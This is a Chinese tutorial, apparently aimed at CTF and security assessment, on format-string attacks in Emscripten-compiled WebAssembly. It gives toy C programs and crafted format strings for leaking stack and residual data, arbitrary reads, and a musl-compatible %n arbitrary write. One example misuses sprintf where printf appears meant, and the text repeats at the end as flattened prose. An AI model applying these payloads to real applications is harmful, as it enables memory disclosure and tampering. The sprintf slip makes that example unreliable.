WASM格式化字符串攻击尝试
字数 1197 2025-08-05 08:20:09

WASM格式化字符串攻击技术详解

前置知识

WASM内存模型

  • WASM不是ASM(汇编语言),但可以提升复杂计算(如游戏)的性能
  • WASM内存布局与x86体系不同,分为:
    • 线性内存:主要存储区域
    • 执行堆栈:保存函数参数
    • 局部变量:部分变量直接存储

函数调用机制

  • 调用函数时,参数保存在执行堆栈中
  • printf为例,其原型为int printf(const char * restrict fmt, ...)
    • 第一个参数:格式化字符串
    • 第二个参数:格式化字符串参数列表(变长参数)

基础格式化字符串漏洞

基本示例

#include <emscripten.h>
#include <stdio.h>

void EMSCRIPTEN_KEEPALIVE test() {
    sprintf("%d%d%d%d", 1, 2, 3, 4);
    return;
}
  • 编译命令:emcc test.c -s WASM=1 -o test.js -g3
  • 调用printf时执行堆栈内容:
    stack:
    0: 1900
    1: 4816
    
    • 1900和4816分别指向线性内存中的格式化字符串和参数

泄露栈上变量

void EMSCRIPTEN_KEEPALIVE test() {
    int i[0x2];
    i[0] = 0x41414141;
    i[1] = 0x42424242;
    sprintf("%d%d%d%d");
    return;
}
  • 执行堆栈:
    stack:
    0: 1900
    1: 4816
    
  • 4816是va_list指针,线性内存中可看到变量i的值:
    4816: 0
    4817: 0
    ...
    4824: 65 ('A')
    4825: 65 ('A')
    4826: 65 ('A')
    4827: 65 ('A')
    4828: 66 ('B')
    4829: 66 ('B')
    4830: 66 ('B')
    4831: 66 ('B')
    

泄露被调用函数中的值

void sub() {
    char password[] = "password";
    return;
}

void EMSCRIPTEN_KEEPALIVE test() {
    sub();
    printf("%d%d%d%d%d%d");
    return;
}
  • 函数返回后线性内存不会清除
  • va_list会覆盖之前调用sub()时留下的值
  • 可以泄露password字符串

任意读技术

方法1:在格式化字符串中构造地址

void EMSCRIPTEN_KEEPALIVE main() {
    char fmt[0xf] = "%d%d%d%s\x00\x13\x00\x00";
    printf(fmt);
    puts("");
    return;
}
  • 格式化字符串构造为%d%d%d%s[addr]
  • 地址放在最后(避免被\x00截断)
  • 线性内存布局:
    +-4864| ./th is.p rogr am\x00
    va_list| \x00 d%d d%s addr_4864
    

方法2:通过溢出构造地址

void EMSCRIPTEN_KEEPALIVE main() {
    char fmt[0x10] = "%d%d%d%s\x00\x13\x00\x00";
    printf(fmt);
    puts("");
    return;
}
  • fmt大小超过0x10时,va_list会位于fmt下方
  • 可以通过溢出覆盖va_list
void EMSCRIPTEN_KEEPALIVE main() {
    char fmt[0x10] = "%sAABBBBCCCCDDDD";
    fmt[0x10] = '\x00';
    fmt[0x11] = '\x13';
    printf(fmt);
    puts("");
    return;
}

方法3:通过函数调用构造地址

void sub() {
    char target[] = "\x00\x13\x00\x00";
}

void EMSCRIPTEN_KEEPALIVE main() {
    char fmt[0x10] = "%d%d%d%d%s";
    sub();
    printf(fmt);
    puts("");
    return;
}

任意写技术

musl libc的限制

Emscripten使用musl libc而非glibc,其printf实现有以下特点:

  1. 存在%(k+1)$n则必须存在%(k)$n
  2. (k)(k+1)之间没有先后顺序
  3. 最多有NL_ARGMAX个格式化字符串标志
  4. 需要在%d之前使用%k$d

任意写示例

#include <emscripten.h>
#include <stdio.h>
#include <string.h>

int flag;

void getflag() {
    if(flag == 1) {
        printf("YouGotIt!\n");
    }
    return;
}

void EMSCRIPTEN_KEEPALIVE main() {
    flag = 3;
    char fmt[0x10];
    memcpy(fmt, "A%2$n%1$xBBBCCCCDDDD\xe0\x0b\x00\x00", 24);
    printf(fmt);
    getflag();
    return;
}
  • flag地址为0xbe0
  • 构造特殊的格式化字符串绕过musl限制

内存布局特点

  1. 变量存储规则

    • 简单变量(如int i)存储在局部变量中
    • 需要分配内存的变量(如char s[0x10])存储在线性内存中
  2. 声明顺序影响

    • 通常先声明的变量位于高地址,后声明的位于低地址
    • 示例:
      char arr1[0x10];
      char arr2[0x20];
      char arr3[0x30];
      
      内存布局:
      +-low addr|arr1 arr2 arr3 high addr
      
  3. 优化例外

    • 需要内存小于0x10时,可能被统一放到高地址处

总结

WASM环境下的格式化字符串攻击技术要点:

  1. 泄露技术

    • 直接泄露栈上变量
    • 泄露被调用函数残留值
    • 构造地址实现任意读
  2. 写入技术

    • 需考虑musl libc的特殊限制
    • 构造特殊格式化字符串实现任意写
  3. 内存布局利用

    • 理解变量存储位置规则
    • 利用声明顺序和优化特性
  4. 攻击方法选择

    • 根据目标地址位置选择构造方式
    • 考虑使用溢出或函数调用辅助构造地址

这些技术在WASM二进制安全分析和漏洞利用中具有重要价值,特别是在CTF竞赛和实际应用安全评估中。

WASM格式化字符串攻击技术详解 前置知识 WASM内存模型 WASM不是ASM(汇编语言),但可以提升复杂计算(如游戏)的性能 WASM内存布局与x86体系不同,分为: 线性内存:主要存储区域 执行堆栈:保存函数参数 局部变量:部分变量直接存储 函数调用机制 调用函数时,参数保存在执行堆栈中 以 printf 为例,其原型为 int printf(const char * restrict fmt, ...) 第一个参数:格式化字符串 第二个参数:格式化字符串参数列表(变长参数) 基础格式化字符串漏洞 基本示例 编译命令: emcc test.c -s WASM=1 -o test.js -g3 调用 printf 时执行堆栈内容: 1900和4816分别指向线性内存中的格式化字符串和参数 泄露栈上变量 执行堆栈: 4816是 va_list 指针,线性内存中可看到变量 i 的值: 泄露被调用函数中的值 函数返回后线性内存不会清除 va_list 会覆盖之前调用 sub() 时留下的值 可以泄露 password 字符串 任意读技术 方法1:在格式化字符串中构造地址 格式化字符串构造为 %d%d%d%s[addr] 地址放在最后(避免被 \x00 截断) 线性内存布局: 方法2:通过溢出构造地址 当 fmt 大小超过0x10时, va_list 会位于 fmt 下方 可以通过溢出覆盖 va_list : 方法3:通过函数调用构造地址 任意写技术 musl libc的限制 Emscripten使用musl libc而非glibc,其 printf 实现有以下特点: 存在 %(k+1)$n 则必须存在 %(k)$n (k) 与 (k+1) 之间没有先后顺序 最多有 NL_ARGMAX 个格式化字符串标志 需要在 %d 之前使用 %k$d 任意写示例 flag 地址为 0xbe0 构造特殊的格式化字符串绕过musl限制 内存布局特点 变量存储规则 : 简单变量(如 int i )存储在局部变量中 需要分配内存的变量(如 char s[0x10] )存储在线性内存中 声明顺序影响 : 通常先声明的变量位于高地址,后声明的位于低地址 示例: 内存布局: 优化例外 : 需要内存小于0x10时,可能被统一放到高地址处 总结 WASM环境下的格式化字符串攻击技术要点: 泄露技术 : 直接泄露栈上变量 泄露被调用函数残留值 构造地址实现任意读 写入技术 : 需考虑musl libc的特殊限制 构造特殊格式化字符串实现任意写 内存布局利用 : 理解变量存储位置规则 利用声明顺序和优化特性 攻击方法选择 : 根据目标地址位置选择构造方式 考虑使用溢出或函数调用辅助构造地址 这些技术在WASM二进制安全分析和漏洞利用中具有重要价值,特别是在CTF竞赛和实际应用安全评估中。